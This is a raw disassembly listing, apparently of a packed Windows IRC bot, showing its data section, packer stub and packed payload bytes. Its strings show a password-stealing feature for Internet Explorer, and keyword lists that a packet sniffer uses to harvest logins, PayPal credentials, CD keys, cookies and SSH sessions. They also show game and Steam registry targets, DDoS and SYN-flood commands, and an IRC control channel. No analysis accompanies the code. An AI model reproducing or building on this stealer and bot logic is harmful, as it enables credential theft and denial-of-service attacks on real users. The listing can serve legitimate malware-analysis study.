		dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D5A4	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: cAddress:00415DD7o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: cAddress:00415CA9o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: cAddress:00415C6Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: cAddress:loc_415C2Fo
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: cAddress:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: cAddress:00415BECo
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D6D4	dd offset aUser_0	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_1	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth		; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_2	; "pass="
		dd 0
		dd offset aPw		; "pw="
		align 10h
off_41D730	dd offset aLogin	; DATA XREF: sub_415EB7+54o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth_0	; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey	; "cd-key"
		align 10h
		dd offset aCdKey_0	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		align 8
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D7A4	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU	; "serv-u"
		dd 0
		dd offset aServU_0	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_41D7E8	dd offset aPrivmsg_0	; DATA XREF: sub_415EB7+98o
					; "PRIVMSG "
		align 10h
		dd offset aNotice_0	; "NOTICE "
		align 8
		dd offset aTopic	; "TOPIC "
		align 10h
		dd offset aJoin_0	; "JOIN	"
		align 8
		dd offset aPart		; "PART	"
		align 10h
		dd offset aQuit		; "QUIT	"
		dd 2 dup(0)
aQuit		db 'QUIT ',0            ; DATA XREF: cAddress:0041D810o
		align 4
aPart		db 'PART ',0            ; DATA XREF: cAddress:0041D808o
		align 4
aJoin_0		db 'JOIN ',0            ; DATA XREF: cAddress:0041D800o
		align 4
aTopic		db 'TOPIC ',0           ; DATA XREF: cAddress:0041D7F8o
		align 4
aNotice_0	db 'NOTICE ',0          ; DATA XREF: cAddress:0041D7F0o
aPrivmsg_0	db 'PRIVMSG ',0         ; DATA XREF: cAddress:off_41D7E8o
		align 10h
aDdos		db 'ddos',0             ; DATA XREF: cAddress:0041D7DCo
		align 4
aServu		db 'servu',0            ; DATA XREF: cAddress:0041D7D4o
		align 10h
aServU_0	db 'serv u',0           ; DATA XREF: cAddress:0041D7CCo
		align 4
aServU		db 'serv-u',0           ; DATA XREF: cAddress:0041D7C4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: cAddress:0041D7BCo
		align 4
aFlood		db 'flood ',0           ; DATA XREF: cAddress:0041D7B4o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: cAddress:0041D7ACo
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: cAddress:off_41D7A4o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: cAddress:0041D798o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: cAddress:0041D790o
aLP		db 'l/p',0              ; DATA XREF: cAddress:0041D788o
aIrcOperator	db 'irc operator',0     ; DATA XREF: cAddress:0041D780o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: cAddress:0041D778o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: cAddress:0041D770o
		align 4
aCdKey_0	db 'cd key',0           ; DATA XREF: cAddress:0041D760o
		align 4
aCdKey		db 'cd-key',0           ; DATA XREF: cAddress:0041D758o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: cAddress:0041D750o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: cAddress:0041D748o
		align 10h
aAuth_0		db 'auth ',0            ; DATA XREF: cAddress:0041D740o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: cAddress:0041D738o
		align 10h
aLogin		db 'login ',0           ; DATA XREF: cAddress:off_41D730o
		align 4
aPw		db 'pw=',0              ; DATA XREF: cAddress:0041D724o
aPass_2		db 'pass=',0            ; DATA XREF: cAddress:0041D71Co
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: cAddress:0041D714o
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: cAddress:0041D70Co
		align 4
aUsername_0	db 'username=',0        ; DATA XREF: cAddress:0041D704o
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: cAddress:0041D6FCo
aAuth		db ' :auth ',0          ; DATA XREF: cAddress:0041D6F4o
aIdentify	db 'identify ',0        ; DATA XREF: cAddress:0041D6ECo
		align 10h
aOper		db 'oper ',0            ; DATA XREF: cAddress:0041D6E4o
		align 4
aMailpass	db 'MailPass ',0        ; DATA XREF: cAddress:0041D6E0o
		align 4
aPass_1		db 'pass ',0            ; DATA XREF: cAddress:0041D6DCo
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: cAddress:0041D6D8o
		align 4
aUser_0		db 'user ',0            ; DATA XREF: cAddress:off_41D6D4o
		align 10h
dword_41D980	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: cAddress:00416537o
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41D9B4	db  2Dh	; -		; DATA XREF: cAddress:0041610Fo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_41D9E8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DA0Ch, 0FD8093AFh, 0D2E6E2ADh
		dd 0A99AE3FBh, 2 dup(0)
dword_41DA20	dd 0E3F44AC0h		; DATA XREF: sub_40A9CF+843r
					; cAddress:00416845r ...
dword_41DA24	dd 94CFA2BAh		; DATA XREF: cAddress:0041683Dr
dword_41DA28	dd 11B29A82h		; DATA XREF: cAddress:00416832r
dword_41DA2C	dd 2B0ED8BCh		; DATA XREF: cAddress:0041682Cr
		dd 2 dup(0)
off_41DA38	dd offset dword_41DD10	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 10h
off_41DA40	dd offset dword_41CC28	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DA44	dd offset aB_0		; DATA XREF: sub_40CF2F+B8r
					; "êÍÖ¡"
off_41DA48	dd offset dword_41CC14	; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
		dd offset aMpRRdJ	; "¬ÁÜÆÁ×êIJà„׆Ï"
		dd offset aCB		; "çÌס"
		dd offset dword_41CC14
		dd offset dword_41CBDC
		dd offset aUG		; "îÌÜ£·"
		dd offset dword_41CC14
		align 10h
aRONa		db 'àÃЮ¼³­',0         ; DATA XREF: sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
		align 10h
aKok1		db '#kok1',0            ; DATA XREF: cAddress:004034CCo
					; cAddress:00409422o ...
		align 4
		dd 1Eh dup(0)
byte_41DB00	db 0FCh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
aLoct		db '‹Žæâ',0
		align 4
		dd 1Eh dup(0)
byte_41DB80	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DC00	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DC0C	dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ;	DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DD10	dd 0FE87BCF5h, 0C7FCA2ECh, 0A1h, 0 ; DATA XREF:	cAddress:off_41DA38o
		dd 3430032Dh, 62656402h, 2036775h
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 10h
aEntry		db 'entry',0
		align 4
aLoop		db 'loop',0
		align 10h
aPing08x	db 'PING :%08X',0       ; DATA XREF: cAddress:00416A54o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: cAddress:0041684Bo
		align 10h
dword_41DDA0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: cAddress:00416E63o
off_41DDB0	dd offset off_4172BC	; DATA XREF: cAddress:off_4172C0o
					; cAddress:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DDD0	dd offset off_4172BC	; DATA XREF: cAddress:off_417308o
					; cAddress:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DDE8	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DDEC	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DDF0	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DDF4	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DDFC	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DE00	db 0			; DATA XREF: cAddress:00401B3Bo
					; cAddress:00402A89r ...
		align 8
dword_41DE08	dd 0			; DATA XREF: cAddress:00403345r
					; sub_404CBB+1Br ...
dword_41DE0C	dd 0			; DATA XREF: cAddress:00403336o
dword_41DE10	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DE18	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DE1C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DE20	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DE24	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DE28	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DE2C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DE30	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DE34	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DE38	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DE3C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DE40	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DE44	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DE48	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DE4C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; cAddress:00408C48r ...
dword_41DE50	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_415AF0+4r
dword_41DE54	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DE58	dd 71ABC076h		; DATA XREF: cAddress:0040219Dr
					; sub_403BD3+17Fw ...
dword_41DE5C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E264	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E268	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E270	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E274	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E278	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E27C	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E280	dd 14AE70h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E29C	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E2A0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E2A8	dd 14AE98h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E2C0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E2C8	dd 323A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E2CC	dd 0			; DATA XREF: sub_409CB1+6r
					; cAddress:00409E35w ...
dword_41E2D0	dd 0			; DATA XREF: cAddress:00409E0Fw
					; cAddress:00409E14r ...
dword_41E2D4	dd 0			; DATA XREF: sub_409CB1+F6r
					; cAddress:00409E61w ...
dword_41E2D8	dd 0			; DATA XREF: sub_409CB1+B9r
					; cAddress:00409E4Bw ...
		align 10h
byte_41E2E0	db 0			; DATA XREF: cAddress:00409DF9r
					; cAddress:00409E66w
		align 4
		dd 101h	dup(0)
byte_41E6E8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E868	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41E968	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41E974	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
dword_41E97C	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41E980	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EA84	db 0AFh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0CFh, 0F7h, 22h
		dd 8848C018h, 0B368C8BAh, 0C033A9h, 0
dword_41EA98	dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EAAC	dd 7D45776h		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EAB0	dd 51458124h		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EAB4	dd 7DDD94E7h		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EAB8	dd 9033F4CFh		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EAC0	db 0DFh			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0FCh, 0EFh, 91h
aGmtvMsSA	db 'ƒŒ’¢ÕŒèÎÍ™À€',0
		align 8
dword_41EAD8	dd 2 dup(0)		; DATA XREF: cAddress:00411923o
dword_41EAE0	dd 0			; DATA XREF: cAddress:0041231Co
dword_41EAE4	dd 2 dup(0)		; DATA XREF: cAddress:0041233Eo
dword_41EAEC	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EAF0	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EAF4	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; cAddress:00412E83o
aPacked_exe	db 'packed.exe',0       ; DATA XREF: sub_406E8E+208o
					; sub_407148+172o ...
		align 4
		dd 3Eh dup(0)
dword_41EC00	dd 972AD888h		; DATA XREF: sub_40A9CF+838r
					; cAddress:00416909w
dword_41EC04	dd 0EADB812Eh		; DATA XREF: cAddress:00416913w
dword_41EC08	dd 0A2E310DDh		; DATA XREF: cAddress:0041691Dw
dword_41EC0C	dd 0A6AB4C31h		; DATA XREF: cAddress:00416927w
aPacked_exe_0	db 'packed.exe',0       ; DATA XREF: sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
		align 4
		dd 3Fh dup(0)
dword_41ED18	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EE18	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EE98	db 0			; DATA XREF: cAddress:loc_403F07r
					; cAddress:00403F12o ...
		align 4
		dd 1Fh dup(0)
dword_41EF18	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; cAddress:00405D2Bo ...
byte_41F018	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 1000h
cAddress	ends

; Section 3. (virtual address 00021000)
; Virtual size			: 0002F000 ( 192512.)
; Section size in file		: 0002F000 ( 192512.)
; Offset to raw	data for section: 00021000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_yzpack2	segment	para public 'DATA' use32
		assume cs:_yzpack2
		;org 421000h
aMzkernel32	db 'MZKERNEL32',0
		align 4
aPe		db 'PE',0
		align 10h
		dd 3014Ch, 575D202h, 1246168Ah,	0C3D2h,	10F00E0h, 8010Bh
dword_421028	dd 77E805D8h, 77E7A5FDh, 0 ; DATA XREF:	start:loc_42127Eo
		dd 21200h, 4167F1h, 77120000h, 400000h,	1000h, 200h, 4173C8h
		dd 4211B0h, 4, 0
		dd 50000h, 200h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 0Ah,	2 dup(0)
		dd 2117Ch, 10h,	12h dup(0)
		dd 0FF41C933h, 13042454h, 2454FFC9h, 0C3F47204h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aGetprocaddress	db 'GetProcAddress',0
		db 0F0h, 1, 0
		dd 1000h, 5 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 1000h, 20000h, 0
		dd 200h, 3 dup(0)
		dd 0C0000040h, 707A792Eh, 326B6361h, 2F000h, 21000h, 0C3DDh
		dd 1, 3	dup(0)
		dd 0C0000040h, 3 dup(0)
		dd 21002h, 21028h, 401000h, 421286h, 4210DCh, 2	dup(0)
		dd 80h
dword_4211A8	dd 12FFC4h		; DATA XREF: startw
		dd offset byte_42D3DF
		dd 24758B58h, 0E30C4E8Bh, 184D0341h, 55FF51h, 8B144589h
		dd 458B107Eh, 0E3CF8B18h, 81C8D2Dh, 0B8BF803h, 78411FE3h
		dd 184D0305h, 0B70F05EBh, 4101EB0Bh, 1475FF51h,	0AB0455FFh
		dd 0A74C085h, 0EB04C383h, 14C683DDh, 65FFBAEBh,	10h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		xchg	esp, ds:dword_4211A8
		popa
		xchg	ecx, esp
		push	ebp
		inc	ebp
		inc	ebp
		push	ebp
		sub	ebp, 0CAh
		push	ebp


loc_421214:				; CODE XREF: start+1Aj
		movsb
		mov	bl, 2


loc_421217:				; CODE XREF: start+39j	start+7Cj
		call	[esp-14h+arg_10]
		jnb	short loc_421214
		xor	ecx, ecx
		call	[esp-14h+arg_10]
		jnb	short loc_42123B
		xor	eax, eax
		call	[esp-14h+arg_10]
		jnb	short loc_421249
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_42122F:				; CODE XREF: start+34j
		call	[esp-14h+arg_10]
		adc	al, al
		jnb	short loc_42122F
		jnz	short loc_421274
		stosb
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42123B:				; CODE XREF: start+21j
		call	[esp-14h+arg_14]
		sub	ecx, ebx
		jnz	short loc_421252
		call	[esp-14h+arg_18]
		jmp	short loc_421270
; ---------------------------------------------------------------------------


loc_421249:				; CODE XREF: start+28j
		lodsb
		shr	eax, 1
		jz	short loc_42127E
		adc	ecx, ecx
		jmp	short loc_42126D
; ---------------------------------------------------------------------------


loc_421252:				; CODE XREF: start+41j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	[esp-14h+arg_18]
		cmp	eax, 7D00h
		jnb	short loc_42126D
		cmp	ah, 5
		jnb	short loc_42126E
		cmp	eax, 7Fh
		ja	short loc_42126F


loc_42126D:				; CODE XREF: start+50j	start+61j
		inc	ecx


loc_42126E:				; CODE XREF: start+66j
		inc	ecx


loc_42126F:				; CODE XREF: start+6Bj
		xchg	eax, ebp


loc_421270:				; CODE XREF: start+47j
		mov	eax, ebp
		mov	bl, 1


loc_421274:				; CODE XREF: start+36j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42127E:				; CODE XREF: start+4Cj
		mov	ebp, offset dword_421028
		jmp	dword ptr [ebp+28h]
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 1C55h
		dd 8E81EC8Bh, 61C0268h,	9F86583h, 0EB0EFC70h, 0C4458B07h
		dd 0F188940h, 85703C83h, 38418030h, 6C16840Fh, 0FF230C01h
		dd 8D3B3443h, 0FEFDA01Eh, 0F9E85006h, 59712E5Ah, 0AC380EACh
		dd 1A8841F5h, 6A8EFEF0h, 9F265503h, 0CE08758Eh,	6C706C15h
		dd 0E0A52283h, 8B0DC2C2h, 0C8098D85h, 0EBC70713h, 40D36E4h
		dd 0DC4714C1h, 50988D21h, 86FEF40Eh, 9153EC55h,	0E88AE42Fh
		dd 3FB59458h, 37700C68h, 0A2B208C2h, 0BD83229Ch, 7401068Eh
		dd 0A053EB02h, 1143A16h, 34844575h, 5410520Ch, 0CFE8C253h
		dd 0C4F2A369h, 9864210Ch, 1E2B43BBh, 1154A15Ah,	0C0850904h
		dd 0F8112475h, 44E9055Dh, 287028FFh, 0D8D2E988h, 0C3C93B17h
		dd 0C954691h, 80681BBAh, 0F2328508h, 53D90A8h, 12DC56E9h
		dd 13CCAC22h, 35804F68h, 157784E8h, 1240673Bh, 72438402h
		dd 0FC4D8B01h, 8F89C803h, 1C7D830Ah, 41190F12h,	12216879h
		dd 9D0A4114h, 0A062BBF8h, 0F301A68h, 8492597Bh,	55D78953h
		dd 4808125Ah, 0D70F0F92h, 381461BFh, 30815A3h, 0BE0F0C12h
		dd 15F82C40h, 5424755Ch, 8D042D42h, 99F80584h, 41500866h
		dd 0EB485FA4h, 13B2293Fh, 0D308B1A3h, 0C81348FDh, 51C065B2h
		dd 90DFFE13h, 57560203h, 0B802AC68h, 84FD54ADh,	158EF10h
		dd 0DEDB259Bh, 0F591707h, 337D85B6h, 23741941h,	8A5D4690h
		dd 84BC2A8Bh, 81446830h, 0A65D59C8h, 0C2A52185h, 9F0D101Eh
		dd 0CD01104Dh, 0DB09FD4Ch, 137544B4h, 30028184h, 6884A7E8h
		dd 12C0336Dh, 5B04E0E9h, 0B6090622h, 195878E8h,	2D414809h
		dd 930944A5h, 7129500Eh, 70F32E6h, 507650B5h, 3C3B0C8Dh
		dd 0A370F08h, 2B5E585h,	14F6690Eh, 6220EBA8h, 0B2410478h
		dd 0C13913E8h, 0C207537h, 98684DBDh, 52FC3484h,	8C368A19h
		dd 900E9C17h, 695E108Ah, 8D3DA9C0h, 478490Ch, 0C29447Eh
		dd 0E8853050h, 28895C0Bh, 712A0E23h, 0E93185ECh, 0B0DA5B8Fh
		dd 0D8F71FB8h, 83C01B1Ch, 94C11199h, 3C21D733h,	876442BBh
		dd 2BDB502Eh, 3810E240h, 0E6BD5190h, 2B088281h,	3D274285h
		dd 762C2044h, 1815600Ch, 0EB0C408Eh, 0B2322557h, 8B2BA589h
		dd 30180659h, 38CB0B14h, 0D8EF1B33h, 906648BBh,	3D1F944h
		dd 0B259A10Dh, 9843C420h, 9DFC2C10h, 4F6045BBh,	0B402414Bh
		dd 0D48A41Ah, 28A5413Eh, 24D04CFCh, 79B227EFh, 9ADE0DF3h
		dd 9A2A0888h, 392A5911h, 870F3B12h, 48C8AA48h, 8D120394h
		dd 8DCD94BEh, 3B055232h, 3A3E74C1h, 0C1830C1Ah,	87213B20h
		dd 853E9E4h, 76BAC772h,	0C337B4F7h, 0CEC88937h,	346ADFF0h
		dd 5D4C3398h, 1775C5C5h, 48914C39h, 49E91528h, 942946CFh
		dd 31F401Dh, 954353EDh,	0C436240h, 588B0A54h, 317228A5h
		dd 2B4A2DB6h, 4212E9F2h, 452441AEh, 0CCB7D517h,	73932805h
		dd 9729D81Ch, 8644416h,	8B380713h, 0BD685870h, 9C22A994h
		dd 0F5458A03h, 1E1C8588h, 78658067h, 27A9A94Dh,	0D5CCA4F2h
		dd 0CD1C5868h, 8BED8F1h, 578A5414h, 0EBC0C388h,	0CA846A2Eh
		dd 40A02C1Ch, 0A4E817F6h, 626256FAh, 91C28322h,	5811CBC1h
		dd 0E988A438h, 0AAD3ABDAh, 40D899D0h, 30218623h, 0AC9C4DBEh
		dd 3B1BA095h, 48E69854h, 0C68D2475h, 14500F5Dh,	4011FBD5h
		dd 5376E82Dh, 0E7935FBAh, 5425173Eh, 9152B96Ch,	2C5EEA2Eh
		dd 1D756269h, 0F821F894h, 0BDE0C280h, 21944A51h, 29EDA1Dh
		dd 96CC682Dh, 2EBD4323h, 0D3E2D410h, 0FEB187Fh,	8965E92Ah
		dd 30BD2BB1h, 5E5F513Ch, 0FDC251C9h, 0E2516670h, 0C7D2483h
		dd 0C30D1206h, 53D2E8CFh, 5331968Bh, 25CC38Dh, 0B4E88F78h
		dd 45891214h, 0E3123DC9h, 2B27077h, 88104D8Ah, 31840448h
		dd 5FA02452h, 5411C89h,	53912568h, 6741AC0Ch, 12870914h
		dd 0A69D534Fh, 905258Dh, 4A288A3Bh, 0F7A28D47h,	0F410452Ah
		dd 92C7093Bh, 0D3469CF8h, 451307EBh, 67BB794h, 337468A3h
		dd 0FC1B6A17h, 401244D0h, 7D5380A0h, 184BCFA4h,	3D811227h
		dd 5190DDF4h, 9352A74h,	2AC863A6h, 3CCC53E8h, 0C33C85ECh
		dd 0CC53F0C8h, 6B965D2Ch, 6221166Eh, 0F2300845h, 0AB895580h
		dd 910E0452h, 740C8D0Eh, 326A4E12h, 24389E64h, 1E144874h
		dd 2B1A5220h, 0C9DFC05h, 9072299Bh, 38245321h, 0E5344D9h
		dd 6343FA38h, 0E6E8B204h, 15A3512Dh, 400C5C90h,	0A15F89Ah
		dd 800B0B74h, 6815750Dh, 0B8EC99A4h, 590B3543h,	17EB3603h
		dd 8E28468h, 9180C2Bh, 0B5CC60EBh, 0F5A0F8Ah, 24BBC234h
		dd 30843DB2h, 0A7680207h, 3F3B7303h, 0B408F8A1h, 0EEA35951h
		dd 0DB5CC2Eh, 32BAAA2Dh, 0FB0F7A8Dh, 9A4429E6h,	0ECD21CDDh
		dd 6C158C61h, 0C1D2793Ch, 11F8EC29h, 48187D7Eh,	0D91FBDD6h
		dd 0E30C5CE2h, 83E1F0C8h, 15A2ECA5h, 64E8424Fh,	9C62980Eh
		dd 709E2313h, 28E81803h, 5410FCFEh, 0F4E52A88h,	0E239E510h
		dd 0F8D83094h, 0FDEF088Fh, 8C7CF158h, 339BB42h,	0DE56B752h
		dd 219A7422h, 0D334282h, 41B1F0BAh, 0B0230EAEh,	108A7A90h
		dd 0F8DC087Ch, 729FE88Eh, 446A2D31h, 0FC88776Ch, 138CE88Ah
		dd 0F4AC745h, 0CC64F444h, 66141827h, 14D021F5h,	89CDAC8Bh
		dd 22DC720Ch, 0DC18C898h, 3414E079h, 0BE563662h, 4D010289h
		dd 41DEC0BBh, 0AE488591h, 8A77C10h, 0CC1C0271h,	0D826E9D9h
